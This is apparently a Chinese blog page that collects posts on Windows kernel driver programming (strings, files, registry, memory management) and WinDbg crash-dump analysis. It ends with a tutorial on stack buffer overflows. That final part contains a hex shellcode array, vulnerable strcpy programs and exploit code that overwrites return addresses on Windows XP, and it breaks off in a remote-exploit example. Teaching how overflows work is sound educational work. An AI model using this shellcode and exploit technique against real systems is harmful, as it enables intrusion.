szBuf[255] = L"Hello world"; RtlInitUnicodeString(pUnicodeString, szBuffer); } void test() { UNICODE_STRING uTest; InitString(&uTest); //后面的操作 }我们在另外一个函数中利用局部变量来初始化这个字符串的时候由于当函数调用完成,函数中局部变量被销毁,这个时候指向的那块内存可能已经被其他函数所占用,而我们后面通过操作UNICODE_STRING,又要操作这段内存,这个时候一定会出现问题,所以一般如果要在多个函数中使用这个UNICODE_STRING时一般申请一段堆内存,但是在使用完成后一定要记得自己回收这段内存,否则会造成内存泄露,对此DDK专门提供了一组函数来销毁字符串中的堆内存VOID RtlFreeAnsiString( IN PANSI_STRING AnsiString ); VOID RtlFreeUnicodeString( IN PUNICODE_STRING UnicodeString );字符串拷贝:VOID RtlCopyString( IN OUT PSTRING DestinationString, IN PSTRING SourceString OPTIONAL ); VOID RtlCopyUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PUNICODE_STRING SourceString );字符串比较LONG RtlCompareString( IN PSTRING String1, IN PSTRING String2, BOOLEAN CaseInSensitive//是否忽略大小写 ); LONG RtlCompareUnicodeString( IN PUNICODE_STRING String1, IN PUNICODE_STRING String2, IN BOOLEAN CaseInSensitive );字符串转化为大写VOID RtlUpperString( IN OUT PSTRING DestinationString, IN PSTRING SourceString ); NTSTATUS RtlUpcaseUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString//是否要求该函数自行为输出参数分配内存 );这两个函数在调用是目标字符串和源字符串可以是同一个字符串字符串与整形数字之间的转化可以使用函数NTSTATUS RtlUnicodeStringToInteger( IN PUNICODE_STRING String, IN ULONG Base OPTIONAL,//需要的数的进制 OUT PULONG Value ); NTSTATUS RtlIntegerToUnicodeString( IN ULONG Value, IN ULONG Base OPTIONAL, IN OUT PUNICODE_STRING String );ANSI与UNICODE字符串的相互转化可以使用下面的函数NTSTATUS RtlUnicodeStringToAnsiString( IN OUT PANSI_STRING DestinationString, IN PUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString ); NTSTATUS RtlAnsiStringToUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PANSI_STRING SourceString, IN BOOLEAN AllocateDestinationString );文件操作创建或者打开一个文件文件的创建和打开都是使用函数ZwCreateFileNTSTATUS ZwCreateFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN PVOID EaBuffer OPTIONAL, IN ULONG EaLength );FileHandle:这个函数通过这个参数返回文件句柄DesiredAccess:以何种权限打开或者创建这个文件,GENERIC_READ可读,GENERIC_WRITE可写,GENERIC_EXECUTE可执行,GENERIC_ALL所有权限ObjectAttributes:这是一个文件属性的结构体,里面包含有要打开的文件的名称IoStatusBlock:接受函数操作文件的结果状态AllocationSize:指定在创建爱女或者写文件时初始大小,如果给0,则文件大小会随着写入数据的增加而动态的增加FileAttributes:指定新创建文件的属性,一般给0或者FILE_ATTRIBUTE_NORMALShareAccess:文件的共享权限,其他线程或者进程通过这个句柄访问文件的权限,给0表示不允许其他进程通过这个句柄访问,FILE_SHARE_READ读, FILE_SHARE_WRITE写,FILE_SHARE_DELETE删除CreateDisposition:指定当文件存在或者不存在时这个函数的动作。它的取值可以有下面几个取值文件存在文件不存在FILE_SUPERSEDE新建一个文件替代新建文件FILE_CREATE返回一个错误创建文件FILE_OPEN打开文件返回一个错误FILE_OPEN_IF打开文件创建文件FILE_OVERWRITE打开,并且将之前的内容覆盖返回错误FILE_OVERWRITE_IF打开,并且将之前的内容覆盖创建文件CreateOptions打开或者创建文件时的附加操作,一般给FILE_SYNCHRONOUS_IO_NONALERTEaBuffer指向扩展空间的指针EaLength扩展空间的大小这个函数与应用层的CreateFile不同的时,在指定打开或者创建文件名时是使用结构OBJECT_ATTRIBUTES来指定,针对这个结构,有一个函数能够初始化它VOID InitializeObjectAttributes( OUT POBJECT_ATTRIBUTES InitializedAttributes, IN PUNICODE_STRING ObjectName,//文件名 IN ULONG Attributes, IN HANDLE RootDirectory, IN PSECURITY_DESCRIPTOR SecurityDescriptor );Attributes:该对象的描述信息,一般给OBJ_CASE_INSENSITIVE 表示对大小写敏感RootDirectory :该文件的根目录,一般给NULLSecurityDescriptor :安全描述符,一般也是给NULL另外这里的名称必须使用符号链接名或者设备名,而不是我们熟悉的“C:\”这种形式对于C盘可以使用名称“\??\C”或者“\Device\HarddiskVolum1”这种形式当程序结束时需要调用ZwClose来清理文件句柄这个函数的参数比较简单,只是简单的传入文件句柄即可获取和设置文件的相关信息可以下面两个函数分别获取和设置文件的相关信息NTSTATUS ZwQueryInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS ZwSetInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass );其中FileInformationClass是一个枚举值,根据这个值得不同FileInformation可以被解析成不同的内容。当这个参数为FileStandardInformation时,使用结构体FILE_STANDARD_INFORMATIONtypedef struct FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; //为文件分配簇所占空间的大小 LARGE_INTEGER EndOfFile;//距离文件结尾还有多少字节,当文件指针位于文件头时,这个值就是文件本身大小 ULONG NumberOfLinks;//有多少个链接文件 BOOLEAN DeletePending;//是否准备删除 BOOLEAN Directory;//是否为目录 } FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;当这个参数为FileBasicInformation使用结构体FILE_BASIC_INFORMATIONtypedef struct FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; //创建时间 LARGE_INTEGER LastAccessTime;//上次访问时间 LARGE_INTEGER LastWriteTime;//上次写文件时间 LARGE_INTEGER ChangeTime;//上次修改时间 ULONG FileAttributes;//文件属性 } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;其中时间参数是一个LARGE_INTEGER类型的整数,代表从1601年到现在经过多少个100ns。文件属性参数如果为FILE_ATTRIBUTE_DIRECTORY表示这是一个目录文件,FILE_ATTRIBUTE_NORMAL表示是一个普通文件,FILE_ATTRIBUTE_HIDDEN表示这是一个隐藏文件,FILE_ATTRIBUTE_SYSTEM表示这是一个系统文件,FILE_ATTRIBUTE_READONLY表示这是一个只读文件当这个参数为FileNameInformation时,使用结构体FILE_NAME_INFORMATIONtypedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength;//文件名长度 WCHAR FileName[1];//文件名 } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;当这个参数是FilePositionInformation时,使用结构体FILE_POSITION_INFORMATIONtypedef struct FILE_POSITION_INFORMATION { LARGE_INTEGER CurrentByteOffset;//当前文件指针的位置 } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;读写文件写文件调用函数ZwCreateFileNTSTATUS ZwWriteFile( IN HANDLE FileHandle,//文件句柄 IN HANDLE Event OPTIONAL,//时间对象一般给NULL IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,//一般给NULL IN PVOID ApcContext OPTIONAL,//一般给NULL OUT PIO_STATUS_BLOCK IoStatusBlock,//记录写操作的状态用里面的Information成员记录实际写了多少字节 IN PVOID Buffer,//写入文件中缓冲区的指针 IN ULONG Length,//缓冲区中数据的长度 IN PLARGE_INTEGER ByteOffset OPTIONAL,//从文件的多少地址开始写 IN PULONG Key OPTIONAL//一般给NULL );读文件使用函数ZwReadFileNTSTATUS ZwReadFile( IN HANDLE FileHandle,//文件句柄 IN HANDLE Event OPTIONAL,//一般给NULL IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,//一般给NULL IN PVOID ApcContext OPTIONAL,//一般给NULL OUT PIO_STATUS_BLOCK IoStatusBlock, //读取的字节数保存在结构的成员Information中 OUT PVOID Buffer,//缓冲区的指针 IN ULONG Length,//缓冲区的长度 IN PLARGE_INTEGER ByteOffset OPTIONAL,//从文件的多少位置开始读 IN PULONG Key OPTIONAL//一般给NULL );注册表操作注册表中有下面几个概念:注册表项:注册表项类似于目录的概念,下面可以有子项或者注册表的键-值对注册表子项:类似于子目录的概念键名:通过键名可以寻找到相应的键值键值类别:每个键值在存储的时候有不同的类型,相当于变量的类型,主要有字符串和整型键值:键名下对应存储的数据创建和关闭注册表创建注册表使用函数ZwCreateKeyNTSTATUS ZwCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, OUT PULONG Disposition OPTIONAL );KeyHandle:输出一个注册表对应项的句柄,以后针对这个项操作都是以这个句柄作为标示DesiredAccess:访问权限,一般都设置为KEY_ALL_ACCESSObjectAttributes:用法与文件操作中的用法相同其中应用层中注册表项与内核中注册表项的对应关系如下:应用层中的子健内核中的路径HKEY_CLASSES_ROOT没有对应的路径HKEY_CURRENT_USER没有简单的对应路径,但是可以求得HKEY_USERS\Registry\UserHKEY_LOCAL_MACHINE\Registry\MachineTitleIndex:一般设置为0Class 一般给NULLCreateOptions:创建选项,一般给REG_OPTION_NON_VOLATILEDisposition:返回创建的状态,如果是REG_CREATED_NEW_KEY表示创建了一个新的注册表项如果是REG_OPENED_EXISTING_KEY表示打开一个已有的注册表项添加、修改注册表键注册表中的键是类似与字典中的键值对,通过键名找到对应的值,键值的类型大致可以分为下面几种分类描述REG_BINARY键值采用二进制存储REG_SZ键值用宽字符串,以\0结尾REG_EXPAND_SZ与上面的REG_SZ相同,它是上面那个字符串的扩展字符REG_MULTI_SZ能够存储多个字符串,每个都以\0隔开REG_DWORD键值用4字节整型存储(这个类型的数据在驱动中使用ULONG来替代)REG_QWORD键值用8字节存储(这个用LONGLONG)用函数ZwSetValueKey可以添加和修改注册表的一项内容 NTSTATUS ZwSetValueKey( IN HANDLE KeyHandle, //注册表句柄 IN PUNICODE_STRING ValueName,//要修改或者新建的键名 IN ULONG TitleIndex OPTIONAL,//一般设置为0 IN ULONG Type,//在上面的表中选择一个 IN PVOID Data,//键值 IN ULONG DataSize//键值数据的大小 );当传入的键值不存在则创建一个新键值,否则就修改原来的键值查询注册表查询注册表使用函数ZwQueryValueKeyNTSTATUS ZwQueryValueKey( IN HANDLE KeyHandle, //注册表句柄 IN PUNICODE_STRING ValueName,//注册表键名 IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation,//接收返回信息的缓冲区 IN ULONG Length,//缓冲区的大小 OUT PULONG ResultLength//真实缓冲区的大小 );使用这个函数时利用参数KeyValueInformationClass来指定接收数据的类型,根据这个值的不同,函数会返回不同的结构体放到一个缓冲区中。一般这个值可取:KeyValueBasicInformation 返回注册表项的基础信息KeyValueFullInformation 返回注册表的全部信息KeyValuePartialInformation 返回注册表的部分信息一般情况下使用KeyValuePartialInformation查询键值数据利用这个函数来查询时一般也是采用两次调用的方式,第一次返回数据所需缓冲,然后分配缓冲并进行第二次调用枚举子项DDK提供了两个函数用于这个功能NTSTATUS ZwQueryKey( IN HANDLE KeyHandle,//注册表句柄 IN KEY_INFORMATION_CLASS KeyInformationClass,//保存注册表信息的结构体的类型 OUT PVOID KeyInformation,//返回查询到信息的缓冲 IN ULONG Length,//缓冲的大小 OUT PULONG ResultLength//真正信息的大小 ); NTSTATUS ZwEnumerateKey( IN HANDLE KeyHandle,//句柄 IN ULONG Index,//这个值是表示第几个子项 IN KEY_INFORMATION_CLASS KeyInformationClass,//查询到的信息的结构体 OUT PVOID KeyInformation,//返回信息的缓冲 IN ULONG Length,//缓冲长度 OUT PULONG ResultLength//返回信息的长度 );其中ZwQueryKey函数用于查询某个注册表项中有多少个子项,在调用这个函数时传入的KeyInformationClass的值一般给KeyFullInformation,在这个结构体中的SubKeys表示有多少个子项,而ZwEnumerateKey则是用于查询各个子项中的具体内容,通过指定Index表示我们要查询该项中的第几个子项,将KeyInformationClass填入KeyBasicInformation,这样在结构体的Name里面可以得到具体的注册表子项的名称枚举子健枚举子键的方法于上面的大致相同,首先利用ZwQueryKey查询注册表,然后取结构体KeyFullInformation的成员Values,根据这个值在循环中依次调用函数ZwEnumerateValueKey,结构体类填入 KeyValueBasicInformation查询基本信息即可删除子项删除子项使用的内核函数是ZwDeleteKeyNTSTATUS ZwDeleteKey( IN HANDLE KeyHandle );这个函数只能删除没有子项的项目,如果有子项,则需要先删除所有子项。其他注册表函数为了简化注册表操作,DDK提供了另外一组以Rtl开头的函数,把之前的Zw函数进行了封装,下面是这些函数与它们功能的对应关系函数名描述RtlCreateRegistryKey创建注册表项RtlCheckRegistryKey查看注册表中的某项是否存在RtlWriteRegistryValue写注册表RtlDeleteRegistryValue删除注册表的子键
2016年11月30日
1 阅读
0 评论
0 点赞
2016-11-26
Windows内核中的内存管理
内存管理的要点内核内存是在虚拟地址空间的高2GB位置,且由所有进程所共享,进程进行切换时改变的只是进程的用户分区的内存驱动程序就像一个特殊的DLL,这个DLL被加载到内核的地址空间中,DriverEntry和AddDevice例程在系统的system进程中运行,派遣函数会运行在应用程序的进程上下文中所能访问的地址空间是这个进程的虚拟地址空间利用_EPROCESS结构可以查看该进程的相关信息当程序的中断级别在DISPATCH_LEVEL之上时,必须使用非分页内存,否则会造成系统蓝屏,在编译WDK相关例程时,可以使用如下的宏指定某个例程或者某个全局变量是位于分页内存还是运行于非分页内存#define PAGEDCODE code_seg("PAGE") //分页内存 #define LOCKEDCODE code_seg() //非分页内存 #define INITCODE code_seg("INIT") //指定在相关函数执行完成后就从内存中卸载下来 #define PAGEDDATA data_seg("PAGE") #define LOCKEDDATA data_seg() #define INITDATA data_seg("INIT")在使用时直接使用#pragma直接加载这些宏即可比如:#pragma PAGEDCODE VOID DoSomething() { PAGED_CODE() //函数体 }其中PAGED_CODE是一个WDK中提供的一个宏,只在debug版本中生效,用于判断当前的中断请求级别,当级别高于DISPATCH_LEVEL(包含这个级别)时会产生一个断言内核中的堆申请函数PVOID ExAllocatePool( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes ); PVOID ExAllocatePoolWithTag( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes, IN ULONG Tag ); PVOID ExAllocatePoolWithQuota( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes ); PVOID ExAllocatePoolWithQuotaTag( IN POOL_TYPE PoolType, IN SIZE_T NumberOfBytes, IN ULONG Tag );PoolType:这是一个枚举变量,用来表示分配内存的种类,如果为PagedPool表示分配的是分页内存,如果是NonPagedPool表示分配的是非分页内存NumberOfBytes:分配内存的大小,为了效率最好分配4的倍数上面这些函数主要分为带有标记和不带标记的两种,其中有Quota的是按配额分配,带有标记的函数可以通过这个标记来判断这块内存最后有没有被分配,标记是一个字符串,但是这个字符串是用单引号引起来的。一般给4个字符,由于IntelCPU采用的是高位优先的存储方式,所以为了阅读方便,一般将这个字符串倒着写这些函数分配的内存一般使用下面的函数来释放VOID ExFreePool( IN PVOID P ); NTKERNELAPI VOID ExFreePoolWithTag( IN PVOID P, IN ULONG Tag ); 在驱动中使用链表WDK给程序员提供了两种基本的链表结构,分别是单向链表和双向链表双向链表的结构体定义如下:typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; //指向下一个节点 struct _LIST_ENTRY *Blink; //指向上一个节点 } LIST_ENTRY, *PLIST_ENTRY;初始化链表使用宏InitializeListHead,它需要传入一个链表的头节点指针它的定义如下VOID InitializeListHead( IN PLIST_ENTRY ListHead );这个宏只是简单的将链表头的Flink和Blink指针指向它本身。利用宏IsListEmpty可以检查一个链表是否为空,它也是只简单的检查这两个指针是否指向其自身在定义自己的数据结构的时候需要将这个结构体放到自定义结构体中,比如typedef struct _MYSTRUCT { LIST_ENTRY listEntry; ULONG i; ULONG j; }MYSTRUCT, *PMYSTRUCT一般插入链表有两种方法,头插法和尾插法,DDK根据这两种方法都给出了具体的函数可供操作://头插法,采用头插法只改变链表数据的顺序,链表头仍然是链表中的第一个元素 VOID InsertHeadList( IN PLIST_ENTRY ListHead, //链表头指针 IN PLIST_ENTRY Entry //对应节点中的LIST_ENTRY指针 ); //尾插法 VOID InsertTailList( IN PLIST_ENTRY ListHead, IN PLIST_ENTRY Entry );删除节点使用的是这样两个函数,同样采用的是从头部开始删除和从尾部开始删除,就是查找链表中节点的方向不同。//从头部开始删除 PLIST_ENTRY RemoveHeadList( IN PLIST_ENTRY ListHead ); //从尾部开始删除 PLIST_ENTRY RemoveTailList( IN PLIST_ENTRY ListHead );这两个函数都是传入头节点的指针,返回被删除那个节点的指针,这里有一个问题,我们如何根据返回PLIST_ENTRY结构找到对应的用户定义的数据,如果我们将LIST_ENTRY,这个节点放在自定义结构体的首部的时候,返回的地址就是结构体的地址,如果是放在其他位置,则需要根据结构体的定义来进行转化,对此WDK提供了这样一个宏来帮我们完成这个工作:PCHAR CONTAINING_RECORD( IN PCHAR Address, IN TYPE Type, IN PCHAR Field );这个宏返回自定义结构体的首地址,传入的是第一个参数是结构体中某个成员的地址,第二个参数是结构体名,第三个参数是我们传入第一个指针的类型在结构体中对应的成员变量值,比如对于上面那个MYSTRUCT结构体可以这样使用typedef struct _MY_LIST_DATA { LIST_ENTRY list; ULONG i; }MY_LIST_DATA, *PMY_LIST_DATA; PLIST_ENTRY pListData = RemoveHeadList(&head);//head是链表的头节点 PMYSTRUCT pData = CONTAINING_RECORD(pListData, MYSTRUCT, list);Lookaside结构频繁的申请和释放内存将造成内存空洞,即出现大量小块的不连续的内存片段,这个时候即使内存仍有剩余,但是我们也申请不了内存,一般在操作系统空闲的时候会进行内存整理,将空洞内存进行合并,如果驱动需要频繁的从内存中申请释放相同大小的内存块,DDK提供了Lookaside内存容器,在初始时它先向系统申请了一块比较大的内存,以后程序每次申请内存的时候不是直接在Windows堆中进行分配,而是在这个容器中,Lookaside结构会智能的避免产生内存空洞,如果申请的内存过多,lookaside结构中的内存不够时,他会自动向操作系统申请更多的内存,如果lookaside内部有大量未使用的内存时,他会自动释放一部分,总之它是一个智能的自动调整内存大小的一个容器。一般应用于以下几个方面:程序每次申请固定大小的内存申请和回收的操作十分频繁使用时首先初始化Lookaside对象,调用函数VOID ExInitializeNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside, IN PALLOCATE_FUNCTION Allocate OPTIONAL, IN PFREE_FUNCTION Free OPTIONAL, IN ULONG Flags, IN SIZE_T Size, IN ULONG Tag, IN USHORT Depth );或者VOID ExInitializePagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside, IN PALLOCATE_FUNCTION Allocate OPTIONAL, IN PFREE_FUNCTION Free OPTIONAL, IN ULONG Flags, IN SIZE_T Size, IN ULONG Tag, IN USHORT Depth );这两个函数一个是操作的是非分页内存,一个是分页内存。Lookaside:这个参数是一个NPAGED_LOOKASIDE_LIST的指针,在初始化前需要创建这样一个结构体的变量,但是不用填写其中的数据。Allocate:这个参数是一个分配内存的回调函数,一般这个值填NULLFree:这是一个释放的函数,一般也填NULL这两个函数有点类似于C++中的构造与析构函数,如果我们对申请的内存没有特殊的初始化的操作,一般这个两个都给NULLFlags:这是一个保留字节,必须为NULLSize:指明明我们每次在lookaside容器中申请的内存块的大小每次申请的内存块的标志,这个标志与上面的WithTag函Tag:数申请内存时填写的标志相同Depth:系统保留,必须填0创建容器之后,可以用下面两个函数来分配内存PVOID ExAllocateFromNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside ); PVOID ExAllocateFromPagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside );用下面两个函数来释放内存VOID ExFreeToNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside, IN PVOID Entry ); VOID ExFreeToPagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside, IN PVOID Entry );最后可以使用下面两个函数来释放Lookaside对象VOID ExDeleteNPagedLookasideList( IN PNPAGED_LOOKASIDE_LIST Lookaside ); VOID ExDeletePagedLookasideList( IN PPAGED_LOOKASIDE_LIST Lookaside );其他内存函数内存拷贝函数VOID RtlCopyMemory( IN VOID UNALIGNED *Destination, IN CONST VOID UNALIGNED *Source, IN SIZE_T Length );需要注意的是这个函数没有考虑到内存重叠的情况,假如内存发生重叠例如这样:这个时候AC内存块和BD内存块有部分重叠,如果将AC拷贝到BD那么会改变AC的值,这样在拷贝到BD中的值也会发生变化,有可能造成错误,为了保证重叠也可以正常拷贝,可以使用函数void MoveMemory( __in PVOID Destination, __in const VOID* Source, __in SIZE_T Length );填充内存一般使用函数void FillMemory( [out] PVOID Destination, [in] SIZE_T Length, [in] BYTE Fill );另外DDK另外提供了一个将内存清零的函数VOID RtlZeroMemory( IN VOID UNALIGNED *Destination, IN SIZE_T Length );内存比较函数ULONG RtlEqualMemory( CONST VOID *Source1, CONST VOID *Source2, SIZE_T Length );这个函数返回的是两块内存中相同的字节数,如果要比较两块内存是否完全相同,可以将返回值与Length相比较,如果相等则说明两块内存相同,否则不相同,另外为了实现这个功能DDK提供了一个与该函数同名的宏来判断,具体在编写代码时可以根据情况判断调用的是函数还是宏。在内核中,对于内存的读写要相当的谨慎,稍不注意就可能产生一个新漏洞或者造成系统的蓝屏崩溃,有时在读写内存前需要判断该内存是否合法可供读写,DDK提供了两个函数来判断内存是否可读可写VOID ProbeForRead( IN CONST VOID *Address, IN SIZE_T Length, IN ULONG Alignment//当前内存是以多少字节对齐的 ); VOID ProbeForWrite( IN CONST VOID *Address, IN SIZE_T Length, IN ULONG Alignment );这两个函数在内存不可读写的时候引发一个异常,需要用结构化异常进行处理,这里使用结构化异常的方式与在应用层的使用方式相同其他数据结构typedef union _LARGE_INTEGER { struct { DWORD LowPart; LONG HighPart; }; struct { DWORD LowPart; LONG HighPart; } u; LONGLONG QuadPart; } LARGE_INTEGER, *PLARGE_INTEGER;这个结构用来表示64位二进制的整形数据,它是一个共用体,占内存大小是64位8个字节,从定义上来看可以看做一个LONGLONG型数据,也可以看做两个4字节的数据。
2016年11月26日
3 阅读
0 评论
0 点赞
2016-11-23
windbg蓝屏调试
一般在写Windows内核程序的时候,经常会出现蓝屏的问题,这个时候一般是采用记录下dump文件然后用windbg查看得方式,具体的过程就不说了,网上一大堆的内容。现在我主要记录自己当初按照网上的方案出现windbg的open crashdump项呈现灰色的情况。就像下面这样这个问题曾今百思不得其解,曾今一度以为是自己的win10不能很好的兼容这个,后来发现自己想多了( ^_^ ),现在公布这个问题的解决方案。主要是确保下面的工作完成1)首先需要在虚拟机上确保我们打开了抓取dump文件的功能,怎么打开百度上有一大堆。2)接着就是真实机上也要打开这个功能3)然后最重要的就是关闭虚拟机,不要让windbg连上了虚拟机,它连上了虚拟机就会呈现选项变灰的情况,查看dump文件是我们在真实机里面进行的,之前一直不知道这点,结果怎么试都不行。如果还是不行,可以考虑关了虚拟机之后重启windbg。然后可以看到已经能使用这个选项了。在调试dump文件时要确保自己已经下载了Windows内核的符号表,然后打开dump文件就可以分析出错的位置了
2016年11月23日
4 阅读
0 评论
0 点赞
2016-10-31
缓冲区溢出漏洞
缓冲区溢出的根本原因是冯洛伊曼体系的计算机并不严格的区分代码段和数据段,只是简单的根据eip的指向来决定哪些是代码,所以缓冲区溢出攻击都会通过某种方式修改eip的值,让其指向恶意代码。缓冲区溢出攻击一般分为堆缓冲区溢出攻击和栈缓冲区溢出攻击栈缓冲区溢出攻击栈缓冲区溢出攻击的一般是传入一个超长的带有shellcode的字符缓冲,覆盖栈中的EIP值,这样当函数执行完成返回后就会返回到有shellcode的地方,执行恶意代码,下面我们通过一个例子详细的分析void msg_display(char * buf) { char msg[200]; strcpy(msg,buf); cout<<msg<<endl; }这个函数分配了200个字节的缓冲区,然后通过strcpy函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于200的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。在调用函数时它的汇编代码大致上是这样的;调用函数 push buf call msg_display ;函数调用完成后平衡堆栈 add esp, 4 ;函数中的汇编代码 ;保留原始的ebp,在release版中没有ebp push ebp mov eb, esp ;这个具体是多少我也 不太清楚,VC上默认给48h再加上函数中所有局部变量的大小计算得到的是110h sub esp 110h ;....其他操作 ;返回 mov esp,ebp pop ebp ret函数的堆栈大致如下如果传入的buf长度小于等于200的话,那么这个函数不会有问题,如果传入的大于200就会向后面溢出,覆盖后面的内容,一般针对这种漏洞,攻击者会精心构造一个字符串,这段字符串大致是由这些内容组成:204个不为0的随机字符 + jmp esp指令的地址+shellcode这样在最后执行完函数中的操作时在返回时会将eip的值改成jmp esp的指令所在的地址,CPU就会执行esp所指向的位置的指令,而这个位置正是攻击者通过溢出手段所提供的攻击代码。至于这个jmp esp的地址在原始程序所生成的汇编代码中有大量这样的代码,通过暴力搜索很容易得到,覆盖之后,在函数返回之前的时候堆栈的环境大致如下ret指令与call是互逆的,首先ret地址出栈,这样esp就指向后面的攻击代码,然后根据eip指向的地址去执行jmp esp的代码,这样就能顺利的去执行攻击代码了。下面是一个利用缓冲区溢出攻击的例子unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0"; void func1(char* s) { char buf[10]; strcpy(buf, s); } void func2(void) { printf("Hacked by me.\n"); exit(0); } int main(int argc, char* argv[]) { char badCode[] = "aaaabbbb2222cccc4444ffff"; DWORD* pEIP = (DWORD*)&badCode[16]; //*pEIP = (DWORD)func2; *pEIP = (DWORD)shellcode; func1(badCode); return 0; }这个代码是xp的debug模式下运行,func1会出现缓冲区溢出的漏洞,在主函数中我们利用了这个漏洞,传入了一个超长的字符串,其中shellcode是一个开启command part对应的机器码,在主函数中我们首先定义了一个非法的字符串,然后将字符串的弟16个字符赋值为shellcode的首地址,为什么这里是16个呢,稍作计算就可以得出这个数,在func1中提供的缓冲是10个,根据内存对齐,其实它是占12个字节,接着在他的下面是老ebp,占4个字节,所以eip的返回地址是在buf + 12 + 4 = buf + 16的位置。这样就将原始的老eip的地址修改为了shellcode的首地址。而如果我们打开下面注释的语句,而将之前的那句给pEip赋值的语句注释起来,那么将会执行func2,通过这句将ret的地址修改为func2的首地址,那么自然会执行func2函数,需要注意的是在shellcode中一般都会在结束的位置调用一个ExitProcess,因为我们通过缓冲区溢出将代码写到了堆栈上,如果代码接着向下执行,就会执行堆栈上的无效代码,这样程序肯定会崩溃,而被攻击者也会发现。另外一点是对于像strcpy这样根据字符串末尾的\0来做为拷贝结束的标志的函数,利用它的漏洞则shellcode的中简不能出现\0,即使有也要用其他类似的指令替代就向把mov eax, 0这样的替换成xor eax, eax这个是在本地做的缓冲区溢出的例子,这个例子是自己攻击自己,这样起不到攻击的效果,下面这个是通过文件的方式进行攻击。#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } int main() { int valid_flag=0; char password[1024]; HANDLE hFile = NULL; DWORD dwReadLength = 0; LoadLibrary("user32.dll");//prepare for messagebox hFile = CreateFile("password.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (NULL == hFile) { printf("open file error!\n"); return 0; } ReadFile(hFile, password, 1024, &dwReadLength, NULL); if (0 == dwReadLength) { printf("read error!\n"); return 0; } valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); } CloseHandle(hFile); return 0; }同样,这个程序发生溢出漏洞主要的位置是在verify_password 函数中的strcpy中,函数提供了44个字节的缓冲,但是我们传入的字符可能大于44,而这次攻击的主要代码是放在password.txt这个文件中,我们使用16进制的查看器,查看这个文件,得到如下结果根据计算可以得出,修改eip的位置应该是在44 + 4 + 4 = 52 = 0x34 位置进行,而在xpsp3中0x77d29353对应的是jmp esp的地址,这个是我调试的图仔细的对照发现,这段汇编码 所对应的机器码与文件中后面的部分完全一样。这样就完成了一个shellcode的注入下面的例子是一个远程注入的例子,通过虚拟机模拟两台计算机之间的通信void msg_display(char * buf) { char msg[200]; strcpy(msg,buf);// overflow here, copy 0x200 to 200 cout<<"********************"<<endl; cout<<"received:"<<endl; cout<<msg<<endl; }服务器端的程序主要功能是从客户端接收数据,并调用该函数打印字符串,从函数的代码来看,如果传入的字符少于200则不会出现问题,如果大于200,则会发生溢出。所以在这种情况下,攻击者从客户端发送一段精心构造的字符,进行缓冲区溢出攻击,执行它的恶意代码,原理与本地端程序的相同,下面是shellcode部分的代码unsigned char buff[0x200] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 